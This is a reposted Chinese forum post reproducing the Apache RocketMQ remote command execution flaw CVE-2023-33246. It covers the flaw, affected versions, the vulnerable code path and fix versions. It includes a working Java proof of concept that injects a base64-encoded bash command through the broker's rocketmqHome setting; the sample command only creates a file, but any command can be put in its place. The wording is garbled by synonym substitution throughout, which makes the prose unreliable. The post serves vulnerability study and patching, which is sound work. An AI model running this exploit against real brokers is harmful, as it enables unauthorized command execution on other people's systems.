乌市泽哥 发表于 2024-12-27 19:21:04

毛病复现-Apache RocketMQ 远程下令实行毛病(CVE-2023-33246)

1.毛病形貌

RocketMQ是一个分布式消息和流数据平台,具有低延迟、高性能、高可靠性、万亿级容量和灵活的可扩展性。
Apache RocketMQ此毛病是一个远程下令实行毛病。RocketMQ的NameServer、Broker、Controller等多个组件缺乏权限验证,攻击者可以使用该毛病使用更新设置功能以RocketMQ运行的系统用户身份实行下令。此外,攻击者可以通过伪造 RocketMQ 协议内容来到达同样的效果。
2.影响版本

Apache RocketMQ <= 5.1.0 Apache RocketMQ <= 4.9.5
3.影响范围

https://i-blog.csdnimg.cn/direct/f19b9138728f48cc8bb8b01d71a291eb.png

4.毛病分析

在函数 org.apache.rocketmq.broker.filtersrv.FilterServerManager 61行 https://i-blog.csdnimg.cn/direct/da855eb908d7471b97e871071a034f8a.png
调用下面的 createFilterServer 方法,71行中看到从配置文件中获取参数。72行调用方法 buildStartCommand https://i-blog.csdnimg.cn/direct/57aed3a2e9b14bb28727f615623d5194.png
该方法中取到变量 NamesrvAddr 和 RocketmqHome ,获取之后举行拼接cmd,在72行拿到拼接后的 cmd
进入for循环后在 org.apache.rocketmq.broker.filtersrv.FilterServerUtil 中给的 callshell 方法去实行下令
https://i-blog.csdnimg.cn/direct/275a8fb7864c477a99ba88312fd5f339.png
该中间件本来就是每30秒执行一次,漏洞产生的就是修改了配置文件,变量被赋值为了恶意命令,导致了命令执行。 Poc: import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
import java.util.Properties;
public class EXP {
    public static void main(String[]args) throws Exception{
        // 创建 Properties 对象
        Properties props = new Properties();
        props.setProperty("rocketmqHome","-c {echo,dG91Y2ggL3RtcC9mbGFn}|{base64,-d}|bash -c");
        props.setProperty("filterServerNums","1");
        // 创建 DefaultMQAdminExt 对象并启动
        DefaultMQAdminExt admin = new DefaultMQAdminExt();
        admin.setNamesrvAddr("127.0.0.1:9876");
        admin.start();
        // 更新配置⽂件
        admin.updateBrokerConfig("127.0.0.1:10911", props);
        Properties brokerConfig = admin.getBrokerConfig("127.0.0.1:10911");
        System.out.println(brokerConfig.getProperty("rocketmqHome"));
        System.out.println(brokerConfig.getProperty("filterServerNums"));
        // 关闭 DefaultMQAdminExt 对象
        admin.shutdown();
        }
} 5.修复建议
厂商已发布了毛病修复步伐,建议用户升级到如下版本:
Apache RocketMQ 5.1.1
Apache RocketMQ 4.9.6
官方下载地点:https://rocketmq.apache.org/zh/download


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 毛病复现-Apache RocketMQ 远程下令实行毛病(CVE-2023-33246)